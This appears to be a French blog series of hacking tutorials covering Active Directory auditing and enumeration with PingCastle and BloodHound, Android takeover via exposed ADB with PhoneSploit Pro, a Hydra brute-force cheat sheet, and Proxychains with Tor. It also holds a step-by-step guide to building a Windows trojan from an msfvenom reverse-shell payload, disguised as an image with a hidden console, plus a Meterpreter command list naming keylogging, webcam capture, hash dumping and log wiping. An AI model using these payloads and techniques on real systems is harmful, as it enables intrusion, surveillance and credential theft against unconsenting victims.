Evaluer le niveau de sécurité de Active Directory avec Ping Castle

Evaluer le niveau de sécurité de Active Directory avec Ping Castle

Aujourd’hui nous allons découvrir Ping Castle, un outil français qui va nous fournir une note sur la sécurité de notre domaine Active Directory et nous donner des recommandations afin de renforcer la sécurité de ce dernier.

Téléchargement de Ping Castle

Nous allons commencer par télécharger l’exécutable de Ping Castle sur notre contrôleur de domaine içi.

téléchargement de ping castle

Une fois téléchargé on a juste à dézipper le dossier et lancer l’exécutable.

exécuter Ping Castle

Exécution de Ping Castle

Une fois lancé la console va s’ouvrir et on va pouvoir choisir l’option souhaité.

Pour ce tutoriel je vais choisir l’option 1 afin d’évaluer le niveau de sécurité de mon domaine avec l’obtention d’une note.

choix de l'option ping castle

Il nous demande ensuite sur quel domaine on souhaite lançer le test.

choix du domaine

Une fois le domaine sélectionné le script se lance et va auditer tout notre domaine et générer un fichier .html avec les résultats.

résultat audit active directory

Nous avons juste à ouvrir ce fichier dans notre navigateur pour étudier les résultats.

note audit ping castle

Nous pouvons constater que nous avons pas mal de points à améliorer sur notre domaine et que Ping Castle nous donne également des recommandations afin d’améliorer notre score.

recommandations de sécurité

Nous verrons prochainement comment renforcer la sécurité de notre Active Directory avec Harden afin d’améliorer notre score sur Ping Castle.

Enumérer Active Directory avec Bloodhound

Enumérer Active Directory avec Bloodhound

BloodHound est un outil puissant d’énumération et d’analyse de la sécurité d’Active Directory, utilisé par les professionnels de la sécurité informatique et les administrateurs système pour évaluer la posture de sécurité d’un environnement Windows.

Conçu pour identifier et cartographier les relations d’accès, les privilèges et les chemins d’attaque potentiels au sein d’un domaine Active Directory, BloodHound offre une visibilité approfondie sur les relations entre les utilisateurs, les groupes, les ordinateurs et les ressources.

En exploitant la collecte d’informations, cet outil permet de visualiser graphiquement les dépendances et les vulnérabilités potentielles, facilitant ainsi la détection des risques de sécurité et des vecteurs d’attaque.

Dans ce tutoriel nous allons voir comment l’installer et cartographier notre domaine Active Directory.

Installation de Bloodhound

Nous allons commencer par nous rendre sur notre Kali afin d’installer Bloodhound.

sudo apt-get install bloodhound

Une fois que c’est installé, on va démarrer la console neo4j afin de pouvoir accéder à l’interface graphique de l’outil sur notre navigateur.

sudo neo4j console
lancement de la console neo4j

On va ouvrir l’url que nous a généré la commande dans notre navigateur.

ouverture de neo4j dans le navigateur

Pour se connecter on va entrer les identifiants par défault neo4j : neo4j.

Il nous faudra ensuite indiquer un nouveau mot de passe.

On peut à présent se connecter à Bloodhound :

bloodhound

Notre navigateur va s’ouvrir et après avoir entré nos identifiants on arrive sur l’interface de Bloodhound.

Bloodhound est un visualisateur de données qui pour l’instant n’en possède pas, nous allons devoir les générer sur notre domaine avec un autre outil nommé Sharpound.

Récupération des données avec Sharpound

Maintenant que notre console neo4j est fonctionnelle, nous allons pouvoir récupérer les données de notre domaine avec Sharpound.

Sharpound existe sous forme de script Powershell ou d’exécutable et va énumérer et cartographier notre domaine Active Directory et générer des fichiers au format JSON que nous étudierons ensuite avec Bloodhound.

Dans ce tutoriel nous allons utiliser la version Powershell téléchargeable sur ce Github.

Une fois le fichier téléchargé nous pouvons l’exécuter avec Powershell sur une machine présente sur notre domaine.

.\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
collecter les données avec Sharphound

On va maintenant pouvoir récupérer le fichier .zip généré par Sharpound et y extraire les fichiers JSON que l’on va importer dans Sharpound.

extraction des fichiers JSON

Analyse des fichiers JSON dans Bloodhound

Pour analyser nos fichiers on a juste à les faire glisser sur l’interface graphique de Bloodhound.

importer les fichiers JSON dans Bloodhound

Nous pouvons à présent analyser notre domaine en nous rendant sur l’ongler « Analysis » et choisir la requête que l’on souhaite effectuer.

analyse du domaine Active Directory

Il existe une multitude de requête que nous pouvons à présent réaliser comme par exemple :

Chercher les membres d’un groupe spécifique

Identifier les relations de permissions sur un objet spécifique

Trouver les utilisateurs avec des sessions actives

Explorer les relations de confiance entre les domaines

Analyser les chemins d’attaque privilégiés

Trouver les comptes de service avec des privilèges étendus

et bien d’autres encore à vous de jouer.

Compromettre un Android avec Phonesploit Pro

Compromettre un Android avec Phonesploit Pro

Dans ce tutoriel nous allons découvrir l’outil Phonesploit Pro qui est un outil comparable à Metasploit destiné à des tests d’intrusion sur Android.

PhoneSploit Pro exploite les fonctionnalités d’Android Debug Bridge (ADB) pour effectuer diverses opérations sur des appareils Android. En utilisant ADB, il permet aux utilisateurs d’interagir avec des périphériques Android connectés, offrant des fonctionnalités telles que l’installation d’applications, la récupération de fichiers, la capture d’écran, et même l’accès au shell du périphérique.

Disclaimer : Ce tutoriel est uniquement à but éducatif et est réalisé sur notre environnement personnel. En aucun cas nous soutenons ce type d’action sans une autorisation et nous déclinons toutes responsabilités en cas de litige.

C’est quoi Android Debug Bridge ?

Android Debug Bridge (ADB) est un outil en ligne de commande intégré dans le kit de développement Android (SDK). Il facilite la communication entre un ordinateur et un appareil Android, permettant aux développeurs d’effectuer diverses opérations de débogage et de développement.

ADB offre des fonctionnalités telles que l’installation d’applications, le transfert de fichiers, l’accès à la console du système d’exploitation Android, et bien plus encore. Il joue un rôle crucial dans le développement d’applications Android en fournissant un moyen direct de tester et de déboguer des applications sur des périphériques physiques ou émulés.

Installation de Phonesploit Pro

git clone https://github.com/AzeemIdrisi/PhoneSploit-Pro.git
pip install python-nmap

Lancement de Phonesploit Pro

python3 phonesploitpro.py

Une fois Phonesploit Pro lancé, on arrive sur un menu avec une multitude d’options, on a simplement à entrer le numéro de celle souhaitée afin de la sélectionner.

phonesploit pro

Nous allons sélectionner l’option 1 afin de nous connecter à un appareil distant en saisissant son adresse IP.

Les hackers trouvent généralement ce type d’adresses IP sur Shodan où de nombreux Android ont Android Debug Bridge activée sans authentification.

connexion à la cible

Nous sommes à présent connecté à l’appareil de la cible sur le port 5555, à partir de là c’est open bar, nous avons une multitude de possibilités allant de la prise de screen de l’écran à l’obtention d’un shell.

open bar

Pour ce tutoriel nous allons tenter d’obtenir un shell en sélectionnant l’option 14.

obtention d'un shell sur la cible

Et nous y voila avec l’otention d’un shell sur la cible.

Hydra Cheat Sheet

Hydra Cheat Sheet

Aujourd’hui nous allons voir comment utiliser l’outil Hydra.

Hydra est un outil de test d’intrusion spécialisé dans les attaques par brute force. Conçu pour évaluer la sécurité des systèmes en testant la robustesse des mots de passe, Hydra peut automatiser le processus d’essai de différentes combinaisons d’identifiants et de mots de passe pour accéder à des services tels que FTP, SSH, HTTP, et bien d’autres.

Basic HTTP Authentification

basic http authentification

Utiliser une wordlist combinée pour l’utilisateur et le mot de passe :

hydra -C wordlist.txt TARGET_IP -s PORT http-get /

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -u -f TARGET_IP -s PORT http-get /

SSH

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -u -f ssh://TARGET_IP:PORT -t 4

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob -P password.txt -u -f ssh://TARGET_IP:PORT -t 4

FTP

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt ftp://TARGET_IP

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob -P password.txt ftp://TARGET_IP
Formulaire d’authentification POST

Pour les formulaires de connexion utilisant la méthode POST, nous devons d’abord déterminer 3 paramètres afin de configurer hydra.

1- URL du formulaire de connexion

2- Les paramètres POST de connexion

3- Un paramètre validateur qui va permettre à hydra de savoir si la connexion a réussi ou pas

 

Déterminer l’URL

Nous allons commencer par analyser l’URL de la page du formulaire de connexion.

Notre formulaire de connexion se trouve à cette URL :

url path

Nous récupérons donc « /login.php ».

 

Déterminer les paramètres de connexion POST

Ensuite on doit déterminer les paramètres de connexion que nous allons ensuite devoir inclure dans la commande hydra.

Pour se faire on va entrer des identifiants aléatoires et intercepter la requête avec Burp.

login post form

Nous récupérons les paramètres de connexion :

username=admin&password=admin

Nous allons à présent remplacer les champs « admin » avec ^USER^ et ^PASS^ afin d’indiquer à hydra les champs qu’il doit forçer :

username=^USER^&password=^PASS^

Nous pourrions également le faire en ouvrant l’inspecteur du navigateur pour nous rendre dans l’onglet « Network » et entrer des identifiants aléatoires dans le formulaire et envoyer la requête afin de voir les paramètres de connexion.

 

Déterminer un paramètre validateur

Pour finir nous devons indiquer un paramètre qui va permettre à hydra de savoir si la connexion a réussi ou pas.

Cela peut être un élément HTML de la page de connexion qui ne sera pas présent sur la nouvelle page lorsque l’on sera authentifié. Hydra va examiner le code HTML de la page de réponse qu’il obtient après chaque tentative, en recherchant la chaîne que nous avons fournie.

Nous pouvons effectuer deux types d’analyse différents :

FAIL : F=html_content

SUCCESS : S=html_content

Si nous donnons un élément FAIL, hydra poursuivra sa recherche jusqu’à ce que cette chaîne ne soit plus détectée dans la réponse.

Si nous spécifions un élément SUCCESS, hydra poursuivra sa recherche jusqu’à ce que cette dernière soit présente dans la réponse.

Nous pourrions par exemple indiquer la balise HTML contenant le message d’erreur que nous obtenons lorsque la connexion a échoué dans une chaine FAIL.

message erreur connexion

Nous pouvons récupérer :

<div class= »_5yd0 _2ph- _5yd1″ style id= »login_error »

A présent nous avons nos trois éléments que nous allons compiler qui vont nous permettre de lancer notre attaque :

« /login.php:username=^USER^&password=^PASS^:F=<div class= »_5yd0 _2ph- _5yd1″ style id= »login_error » »

La commande hydra pour forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -f TARGET_IP -s PORT http-post-form « /login.php:username=^USER^&password=^PASS^:F=<div class= »_5yd0 _2ph- _5yd1″ style id= »login_error » »

La commande si l’on souhaite forcer uniquement le mot de passe :

hydra -l bob -P password.txt -f TARGET_IP -s PORT http-post-form « /login.php:username=^USER^&password=^PASS^:F=<div class= »_5yd0 _2ph- _5yd1″ style id= »login_error » »
RDP

Forcer l’utilisateur et le mot de passe :

hydra -V -f -L user.txt -P password.txt rdp://TARGET_IP -V

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -V -f -l bob -P password.txt rdp://TARGET_IP -V
SMB

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -f smb://TARGET_IP -V

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob -P password.txt -f smb://TARGET_IP -V
MySQL

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt -P password.txt -f mysql://TARGET_IP -V

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob -P password.txt -f mysql://TARGET_IP -V
VNC

Forcer l’utilisateur et le mot de passe :

hydra -L user.txt –P password.txt -s PORT TARGET_IP vnc

Forcer seulement le mot de passe si on connait le nom de l’utilisateur :

hydra -l bob –P password.txt -s PORT TARGET_IP vnc

Créer un Trojan avec Metasploit

Créer un Trojan avec Metasploit

Aujourd’hui nous allons partir sur la construction d’un Trojan pour Windows avec Metasploit. L’objectif de ce Lab va être de cacher notre Payload dans une image et lorsque la victime cliquera dessus nous aurons le contrôle de sa machine.

Evidemment on ne bypassera pas Microsoft Defender avec ça, mais cela nous permettra d’en savoir un peu plus sur le processus de création d’un Trojan.

Disclaimer : Ce tutoriel est uniquement à but éducatif et est réalisé sur notre environnement personnel. En aucun cas nous soutenons ce type d’action sans une autorisation et nous déclinons toutes responsabilités en cas de litige.

C’est quoi un Trojan ?

Un trojan, ou cheval de Troie, est une forme de logiciel malveillant conçu pour tromper les utilisateurs en se faisant passer pour un programme légitime tout en cachant ses intentions malveillantes.

Lorsqu’un utilisateur exécute un fichier ou installe une application infectée par un trojan, le logiciel malveillant s’introduit dans le système sans le consentement de l’utilisateur.

Contrairement aux virus ou aux vers informatiques, les trojans ne se propagent pas de manière autonome, mais ils peuvent créer une backdoor sur le système infecté, permettant à des attaquants distants d’accéder à l’ordinateur ou aux données personnelles de la victime.

Les trojans peuvent prendre diverses formes, tels que des logiciels utiles en apparence, des jeux, ou même des pièces jointes de courrier électronique.

Maintenant que l’on en sait un peu plus sur les Trojans, nous allons pouvoir générer notre Payload avec Msfvenom.

Générer un Payload avec Msfvenom

La première étape va être de créer le Payload avec Msfvenom.

Msfvenom est une composante essentielle du framework Metasploit, un outil de test de pénétration. Msfvenom est utilisé pour générer des shells, des codes malveillants, des charges utiles, et d’autres éléments exploitables.

Dans notre cas de figure nous voulons attaquer une machine Windows 64bits, nous allons donc opter pour un Payload en batch.

Nous allons nous rendre sur notre Kali et entrer cette commande :

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.24 lport=4444 > shell.bat

Dans cette commande le « lhost » représente l’adresse IP de ma Kali Linux donc vous devrez içi la remplacer et entrer l’adresse IP de votre machine, « lport » est le port d’écoute que j’ai choisi de manière aléatoire et ensuite je choisi le format .exe et je le nomme shell.bat.

générer un payload avec msfvenom

Configuration du serveur Web

Maintenant que notre Payload est prêt nous allons aussi choisir une image qui sera celle que nous enverrons à notre victime et qui sera également l’icône du Trojan, vous pouvez prendre celle de votre choix.

Nous allons ensuite avoir besoin d’un serveur Web afin d’y déposer l’image à la racine de ce dernier afin de les télécharger par la suite en entrant simplement l’adresse IP et le nom du fichier.

Pour ce Lab je vais utiliser le serveur Web Apache sur ma Kali Linux.

Commençons par démarrer le serveur Apache.

sudo systemctl start apache2

On va changer les droits sur l’image afin qu’elle puisse se télécharger sur la machine de la victime.

sudo chmod 777 HackOps.png
déposer l'image à la racine du serveur web

Maintenant que notre image est sur le répertoire racine de notre serveur Web, nous pouvons passer à la suite.

Compiler le fichier batch en executable

A présent nous allons compiler notre fichier « shell.bat » en fichier executable afin de pouvoir le cacher et lui donner une icône pour paraitre moins suspect auprès de notre victime.

Nous allons également rajouter quelques lignes de code en Powershell afin que quand la victime clique sur notre Trojan l’image s’ouvre.

Nous allons utiliser le convertisseur « bat to exe » pour faire cela que vous pouvez télécharger içi.

Une fois que c’est fait on importe notre fichier « shell.bat » dans le convertisseur en allant sur « Open » et en sélectionnant notre fichier et on y ajoute ces lignes de code en Powershell.

cd %APPDATA%
Powershell -Command « Invoke-WebRequest ‘http://192.168.1.24/HackOps.png’ -OutFile HackOps.png »
Powershell -Command Start-Process « $env:USERPROFILE\AppData\Roaming\HackOps.png »

Dans ce code nous allons télécharger l’image à partir de notre serveur Web dans le répertoire « Appdata » de la victime afin que cette dernière soit cachée lors du téléchargement et ensuite elle s’ouvre comme une image légitime lorsque la victime cliquera sur notre Trojan.

Pensez à remplacer l’adresse IP pour y mettre celle de votre serveur Web.

code powershell pour télécharger et ouvrir l'image

Ensuite il va falloir convertir notre image .png en .ico afin qu’elle soit également l’icône de notre Trojan, vous pouvez réaliser cela avec un convertisseur en ligne.

Nous allons ensuite cliquer sur « Icon » et l’importer.

importer l'icône du trojan

Ensuite nous allons sélectionner le format exe en 32 bits avec la console invisible, ce qui permettra que la console ne s’ouvre pas lorsque la victime cliquera sur le Trojan.

choix du format executable

Et c’est tout ce que nous avons à faire nous pouvons maintenant le convertir en cliquant sur « Convert » et en lui donnant le nom de votre choix.

convertir le trojan en executable

Notre Trojan est prêt, nous pouvons passer à la configuration de notre listener.

Finalisation du trojan
Configuration de Metasploit

Nous allons maintenant démarrer Metasploit sur notre machine attaquante afin de configurer un écouteur qui attendra que la victime clique sur le Trojan.

Pour démarrer Metasploit :

msfconsole

Une fois que Metasploit est démarré nous allons utiliser le multi handler.

use /exploit/multi/handler
démarrer msfconsole

Nous allons ensuite le configurer pour écouter sur l’adresse IP de notre Kali avec le même port que nous avons mis lors de la commande « msfvenom » et nous lui indiquons le type de payload que nous souhaitons utiliser.

set lhost 192.168.1.24
set lport 4444
set payload windows/meterpreter/reverse_tcp
configuration du listener metasploit

Avant de le lancer, nous pouvons vérifier notre configuration.

voir les options dans metasploit

C’est tout bon, nous pouvons démarrer le listener.

exploit

démarrer le listener

Notre listener est maintenant en attente que la victime clique sur notre Trojan.

Livraison du Trojan à la victime

Pour délivrer le Trojan à la victime il existe une multitude de possibilités, içi pour cette exemple nous allons simplement l’ouvrir sur une de nos machine virtuelle.

Il faudra bien penser à désactiver Microsoft Defender car comme je vous l’ai dis plus haut dans ce tutoriel, ce type de payload Metasploit ne bypass pas les antivirus.

Les antivirus sont programmés pour identifier des modèles spécifiques de code malveillant, et bien que les développeurs de Metasploit mettent à jour régulièrement leurs outils pour contourner ces défenses, la détection par les antivirus peut toujours se produire en fonction des signatures existantes.

Afin d’améliorer nos chances de succès, nous pouvons recourir à des techniques d’obfuscation et de cryptage pour rendre le code plus difficile à détecter et c’est ce que nous verrons dans un prochain tutoriel.

Pour désactiver Microsoft Defender :

désactiver microsoft defender

Allez c’est parti nous allons simuler l’ouverture du fichier par la victime.

Lorsque nous cliquons sur le Trojan, l’image s’ouvre comme convenu.

Retournons à présent sur notre Kali.

Lancement de la session meterpreter

Ca y est nous avons le contrôle de la machine de la victime, à présent nous pouvons utiliser les commandes meterpreter ou un shell classique.

Je vous joins une liste de commandes meterpreter :

Commandes principales

background:  Arrière-plan de la session en cours
exit:  Termine la session Meterpreter
guid: Obtenir le GUID de la session 
help:  Affiche le menu d’aide
info: Affiche des informations sur un module Post
irb:  Ouvre un shell Ruby interactif sur la session en cours
load:  Charge une ou plusieurs extensions Meterpreter
migrate:  Permet de migrer Meterpreter vers un autre processus
run: Exécute un script Meterpreter ou un module Post
sessions:  Passer rapidement à une autre session

Commandes du système de fichiers

cd:  Changer de répertoire
ls:  lister les fichiers dans le répertoire courant 
pwd:  Imprime le répertoire de travail courant
edit:  vous permet d’éditer un fichier
cat:  afficher le contenu d’un fichier à l’écran
rm:  supprimer le fichier spécifié
search:  rechercher les fichiers
upload:  va télécharger un fichier ou un répertoire
download:  va télécharger un fichier ou un répertoire

Commandes réseau

arp:  Affiche le cache ARP de l’hôte
ifconfig:  affiche les interfaces réseau disponibles sur le système cible
netstat:  Affiche les connexions réseau
portfwd:  redirige un port local vers un service distant
route:  Permet de visualiser et de modifier la table de routage

Commandes système

clearev:  Efface les journaux d’événements
execute:  Exécute une commande
getpid:  Affiche l’identifiant du processus actuel
getuid:  Affiche l’utilisateur sous lequel Meterpreter s’exécute
kill:  Termine un processus
pkill:  Termine les processus par leur nom
ps:  répertorie les processus en cours d’exécution
reboot:  Redémarre l’ordinateur distant
shell:  Exécute dans un shell de commande système
shutdown:  Arrête l’ordinateur distant
sysinfo:  Obtient des informations sur le système distant

Autres commandes

idletime:  Renvoie le nombre de secondes pendant lesquelles l’utilisateur distant a été inactif
keyscan_dump:  Vide le tampon de frappe
keyscan_start:  Commence à capturer les frappes
keyscan_stop:  Arrête de capturer les frappes
screenshare:  Vous permet de regarder le bureau de l’utilisateur distant en temps réel
screenshot:  Capture une capture d’écran du bureau interactif
record_mic:  Enregistre l’audio du microphone par défaut pendant X secondes
webcam_chat:  Démarre un chat vidéo
webcam_list:  Répertorie les webcams
webcam_snap:  Prend un instantané à partir de la webcam spécifiée
webcam_stream:  Lit un flux vidéo à partir de la webcam spécifiée
getsystem:  Tente d’élever votre privilège à celui du système local
hashdump:  Vide le contenu de la base de données SAM

Et voila ça sera tout pour ce tutoriel, nous verrons très prochainement des techniques plus avancées pour la création de Trojan.

Configurer Proxychains et Tor sur Kali Linux

Configurer Proxychains et Tor sur Kali Linux

Dans ce tutoriel nous allons voir comment configurer Proxychains et Tor sur Kali Linux afin de renforcer notre anonymat lors d’une navigation sur Internet ou l’exécution de commandes réseau.

C’est quoi Proxychains ?

Proxychains est un outil de réseau qui permet de renforcer l’anonymat lors de la navigation sur Internet ou de l’exécution de commandes réseau en routant le trafic à travers des serveurs proxy.

Conçu pour être utilisé dans des environnements tels que Kali Linux, Proxychains simplifie l’acheminement du trafic à travers une séquence de serveurs proxy de manière transparente. Son fonctionnement repose sur l’idée d’enchaîner plusieurs serveurs proxy, créant ainsi une chaîne qui redirige le trafic à travers chacun d’eux.

Chaque proxy dans la chaîne sert d’intermédiaire, masquant l’adresse IP d’origine de l’utilisateur et ajoutant une couche de confidentialité. Proxychains peut être configuré pour prendre en charge divers types de proxys, tels que SOCKS et HTTP.

La combinaison de Proxychains et Tor crée une stratégie puissante pour renforcer l’anonymat en ligne et accroître la confidentialité des communications sur Internet.

Lorsqu’il est combiné avec le réseau Tor, qui est conçu pour fournir un anonymat robuste en acheminant le trafic à travers un réseau distribué de nœuds volontaires, il offre un niveau supplémentaire de confidentialité.

L’utilisation de Proxychains avec Tor permet de masquer l’adresse IP d’origine de l’utilisateur et d’ajouter une couche de chiffrement à ses communications, rendant plus difficile la traçabilité des activités en ligne.

Voyons comment mettre cela en place sur notre Kali Linux.

Installation de Proxychains et Tor sur Kali Linux

Nous allons commencer par installer ces deux services sur notre machine.

Installer Proxychains :

sudo apt install proxychains

Installer Tor :

sudo apt install tor

Configuration de Proxychains

Passons maintenant à la configuration de Proxychains, nous allons modifier le fichier de configuration « /etc/proxychains4.conf ».

sudo nano /etc/proxychains4.conf

Une fois dans le fichier de configuration, le première chose que nous allons faire et de décommenter « dynamic_chain » et commenter « strict_chain ».

Lorsque dynamic_chain est activé, Proxychains choisit dynamiquement les proxys à utiliser à partir de la liste spécifiée dans le fichier de configuration.

Il essaie chaque proxy de manière séquentielle jusqu’à ce qu’un proxy valide soit trouvé. S’il échoue à tous les proxys, il revient au début de la liste et réessaie.

Cette option est plus flexible, car elle permet de gérer des proxys qui peuvent être activés ou désactivés sans avoir à les modifier manuellement dans la configuration.

Dans notre cas nous allons utiliser Tor avec Proxychains donc cela n’a pas vraiment d’importance mais je préfére activer cette option au cas où.

dynamic_chain proxychains

On va se diriger maintenant tout en bas du fichier de configuration et y ajouter une ligne.

Nous pouvons voir qu’il y a déja une ligne qui utilise « socks4 » avec l’adresse 127.0.0.1 et le port de Tor 9050.

Nous allons y ajouter la même ligne mais en utilisant « socks5 » qui est une version plus récente et plus évoluée que « socks4 ».

ajout de socks5 sur proxychains

Une fois que c’est fait, nous pouvons enregistrer et quitter.

Utilisation de Proxychains

A présent nous allons démarrer le service Tor.

sudo systemctl start tor

On va s’assurer que le service Tor est bien démarré.

sudo systemctl status tor
status service tor

Nous pouvons maintenant commencer à utiliser Proxychains, il nous suffit juste de taper proxychains avant la commande que nous souhaitons effectuée afin qu’il se lance.

Commençons par lancer Firefox avec Proxychains.

naviguer sur firefox avec proxychains

Nous pouvons faire un test sur notre navigateur pour voir quelle est notre adresse IP et où elle est localisée sur ce site.

localisation adresse ip

Super on voit que cela fonctionne, voyons maintenant comment exécuter une commande réseau avec Proxychains.

Pour cette exemple nous allons exécuter nmap avec Proxychains.

lancer nmap avec proxychains

Et voila ça sera tout pour ce tutoriel, nous avons pu voir qu’il est trés facile de configurer Proxychains et que son utilisation liée à Tor peut nous fournir de l’anonymat lors de nos navigations Internet ainsi que lors d’exécution de commandes.